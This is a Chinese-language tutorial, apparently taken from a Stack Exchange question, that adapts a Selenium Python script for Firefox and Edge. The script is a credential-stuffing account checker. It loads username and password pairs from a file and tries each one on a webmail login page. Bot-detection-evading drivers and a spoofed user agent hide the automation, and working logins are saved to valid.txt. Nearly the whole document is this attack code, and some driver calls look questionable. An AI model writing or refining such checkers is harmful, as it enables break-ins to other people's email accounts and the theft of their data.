如何将Chrome版Selenium Python代码适配为Firefox和Edge浏览器

一、适配Firefox浏览器 #

先安装依赖包：

pip install undetected-geckodriver selenium

改写后的完整代码：

import undetected_geckodriver as uc
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options
import time
import re

firefox_options = Options()
firefox_options.add_argument("User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36")
firefox_options.headless = False
driver = uc.Firefox(options=firefox_options)

accounts = []
with open('acc.txt', encoding='utf-8') as f:
    for account in f.readlines():
        account = account.strip().split('<>')
        accounts.append({
            'username': account[0],
            'password': account[1]
        })

for account in accounts:
    try:
        driver.get("https://URL/appsuite/")
        time.sleep(3)
        
        username = driver.find_element(By.ID, 'io-ox-login-username')
        username.send_keys(account['username'])
        time.sleep(1)
        
        continue_button = driver.find_element(By.ID, 'io-ox-login-button')
        continue_button.click()
        time.sleep(1)
        
        password = driver.find_element(By.ID, 'io-ox-login-password')
        password.send_keys(account['password'])
        time.sleep(1)
        
        login_button = driver.find_element(By.ID, 'io-ox-login-button')
        time.sleep(1)
        login_button.click()
        
        time.sleep(2)
        print(driver.title)
        
        if driver.title != 'Sign in - Professional Email':
            with open('valid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        else:
            with open('invalid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        
        time.sleep(1)        
        driver.delete_all_cookies()
        time.sleep(1)
        driver.delete_all_cookies()
    except Exception as e:
        print(e)

driver.quit()

二、适配Edge浏览器 #

先安装依赖包：

pip install undetected-chromedriver selenium

改写后的完整代码：

import undetected_chromedriver as uc
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.edge.options import Options
import time
import re

edge_options = Options()
edge_options.add_argument("User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36")
edge_options.headless = False
# 若Edge未在系统默认路径，需指定浏览器可执行文件位置
# edge_options.binary_location = r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

driver = uc.Edge(options=edge_options, use_subprocess=True)

accounts = []
with open('acc.txt', encoding='utf-8') as f:
    for account in f.readlines():
        account = account.strip().split('<>')
        accounts.append({
            'username': account[0],
            'password': account[1]
        })

for account in accounts:
    try:
        driver.get("https://URL/appsuite/")
        time.sleep(3)
        
        username = driver.find_element(By.ID, 'io-ox-login-username')
        username.send_keys(account['username'])
        time.sleep(1)
        
        continue_button = driver.find_element(By.ID, 'io-ox-login-button')
        continue_button.click()
        time.sleep(1)
        
        password = driver.find_element(By.ID, 'io-ox-login-password')
        password.send_keys(account['password'])
        time.sleep(1)
        
        login_button = driver.find_element(By.ID, 'io-ox-login-button')
        time.sleep(1)
        login_button.click()
        
        time.sleep(2)
        print(driver.title)
        
        if driver.title != 'Sign in - Professional Email':
            with open('valid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        else:
            with open('invalid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        
        time.sleep(1)        
        driver.delete_all_cookies()
        time.sleep(1)
        driver.delete_all_cookies()
    except Exception as e:
        print(e)

driver.quit()

核心修改点 #

• 替换浏览器配置类：将ChromeOptions对应替换为Firefox/Edge的Options
• 替换驱动初始化方法：uc.Chrome改为uc.Firefox或uc.Edge
• 简化账号读取逻辑：用strip()替代split('\n')[0]，代码更简洁

内容的提问来源于stack exchange，提问作者Steve Conder